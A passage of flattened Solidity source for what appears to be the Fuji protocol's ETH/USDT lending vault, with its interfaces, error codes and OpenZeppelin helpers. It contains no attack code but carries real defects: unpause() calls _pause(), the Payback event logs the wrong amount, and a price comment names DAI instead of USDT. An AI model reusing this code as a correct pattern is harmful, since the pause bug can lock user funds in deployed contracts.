//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() || msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) public onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IVault {
// Events
// Log Users Deposit
event Deposit(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users withdraw
event Withdraw(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users borrow
event Borrow(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users debt repay
event Payback(address indexed userAddrs, address indexed asset, uint256 amount);
// Log New active provider
event SetActiveProvider(address providerAddr);
// Log Switch providers
event Switch(
address vault,
address fromProviderAddrs,
address toProviderAddr,
uint256 debtamount,
uint256 collattamount
);
// Core Vault Functions
function deposit(uint256 _collateralAmount) external payable;
function withdraw(int256 _withdrawAmount) external;
function borrow(uint256 _borrowAmount) external;
function payback(int256 _repayAmount) external payable;
function executeSwitch(
address _newProvider,
uint256 _flashLoanDebt,
uint256 _fee
) external;
//Getter Functions
function activeProvider() external view returns (address);
function borrowBalance(address _provider) external view returns (uint256);
function depositBalance(address _provider) external view returns (uint256);
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
external
view
returns (uint256);
function getLiquidationBonusFor(uint256 _amount, bool _flash) external view returns (uint256);
function getProviders() external view returns (address[] memory);
function fujiERC1155() external view returns (address);
//Setter Functions
function setActiveProvider(address _provider) external;
function updateF1155Balances() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
contract VaultControl is Ownable, Pausable {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
//Vault Struct for Managed Assets
VaultAssets public vAssets;
//Pause Functions
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function unpause() public onlyOwner {
_pause();
}
}
contract VaultBase is VaultControl {
// Internal functions
/**
* @dev Executes deposit operation with delegatecall.
* @param _amount: amount to be deposited
* @param _provider: address of provider to be used
*/
function _deposit(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("deposit(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes withdraw operation with delegatecall.
* @param _amount: amount to be withdrawn
* @param _provider: address of provider to be used
*/
function _withdraw(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("withdraw(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes borrow operation with delegatecall.
* @param _amount: amount to be borrowed
* @param _provider: address of provider to be used
*/
function _borrow(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("borrow(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes payback operation with delegatecall.
* @param _amount: amount to be paid back
* @param _provider: address of provider to be used
*/
function _payback(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("payback(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Returns byte response of delegatcalls
*/
function _execute(address _target, bytes memory _data)
internal
whenNotPaused
returns (bytes memory response)
{
/* solhint-disable */
assembly {
let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0)
let size := returndatasize()
response := mload(0x40)
mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
/* solhint-disable */
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IFujiAdmin {
function validVault(address _vaultAddr) external view returns (bool);
function getFlasher() external view returns (address);
function getFliquidator() external view returns (address);
function getController() external view returns (address);
function getTreasury() external view returns (address payable);
function getaWhiteList() external view returns (address);
function getVaultHarvester() external view returns (address);
function getBonusFlashL() external view returns (uint64, uint64);
function getBonusLiq() external view returns (uint64, uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IFujiERC1155 {
//Asset Types
enum AssetType {
//uint8 = 0
collateralToken,
//uint8 = 1
debtToken
}
//General Getter Functions
function getAssetID(AssetType _type, address _assetAddr) external view returns (uint256);
function qtyOfManagedAssets() external view returns (uint64);
function balanceOf(address _account, uint256 _id) external view returns (uint256);
//function splitBalanceOf(address account,uint256 _AssetID) external view returns (uint256,uint256);
//function balanceOfBatchType(address account, AssetType _Type) external view returns (uint256);
//Permit Controlled Functions
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external;
function burn(
address _account,
uint256 _id,
uint256 _amount
) external;
function updateState(uint256 _assetID, uint256 _newBalance) external;
function addInitializeAsset(AssetType _type, address _addr) external returns (uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
interface IProvider {
//Basic Core Functions
function deposit(address _collateralAsset, uint256 _collateralAmount) external payable;
function borrow(address _borrowAsset, uint256 _borrowAmount) external payable;
function withdraw(address _collateralAsset, uint256 _collateralAmount) external payable;
function payback(address _borrowAsset, uint256 _borrowAmount) external payable;
// returns the borrow annualized rate for an asset in ray (1e27)
//Example 8.5% annual interest = 0.085 x 10^27 = 85000000000000000000000000 or 85*(10**24)
function getBorrowRateFor(address _asset) external view returns (uint256);
function getBorrowBalance(address _asset) external view returns (uint256);
function getDepositBalance(address _asset) external view returns (uint256);
function getBorrowBalanceOf(address _asset, address _who) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IAlphaWhiteList {
function whiteListRoutine(
address _usrAddrs,
uint64 _assetId,
uint256 _amount,
address _erc1155
) external returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity <0.8.0;
/**
* @title Errors library
* @author Fuji
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = Validation Logic 100 series
* - MATH = Math libraries 200 series
* - RF = Refinancing 300 series
* - VLT = vault 400 series
* - SP = Special 900 series
*/
library Errors {
//Errors
string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128
string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint
string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn
string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match
string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized
string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization
string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback
string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer
string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable
string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close
string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array
string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized
string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault
string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance
string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match.
string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155
string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address
string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract.
string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid.
string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer.
string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved.
string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens
string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer
string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27)
string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close.
string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest.
string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance.
string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed
string public constant MATH_DIVISION_BY_ZERO = "201";
string public constant MATH_ADDITION_OVERFLOW = "202";
string public constant MATH_MULTIPLICATION_OVERFLOW = "203";
string public constant RF_NO_GREENLIGHT = "300"; // Conditions for refinancing are not met, greenLight, deltaAPRThreshold, deltatimestampThreshold
string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0
string public constant RF_CHECK_RATES_FALSE = "302"; //Check Rates routine returned False
string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault
string public constant SP_ALPHA_WHITELIST = "901"; // One ETH cap value for Alpha Version < 1 ETH
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
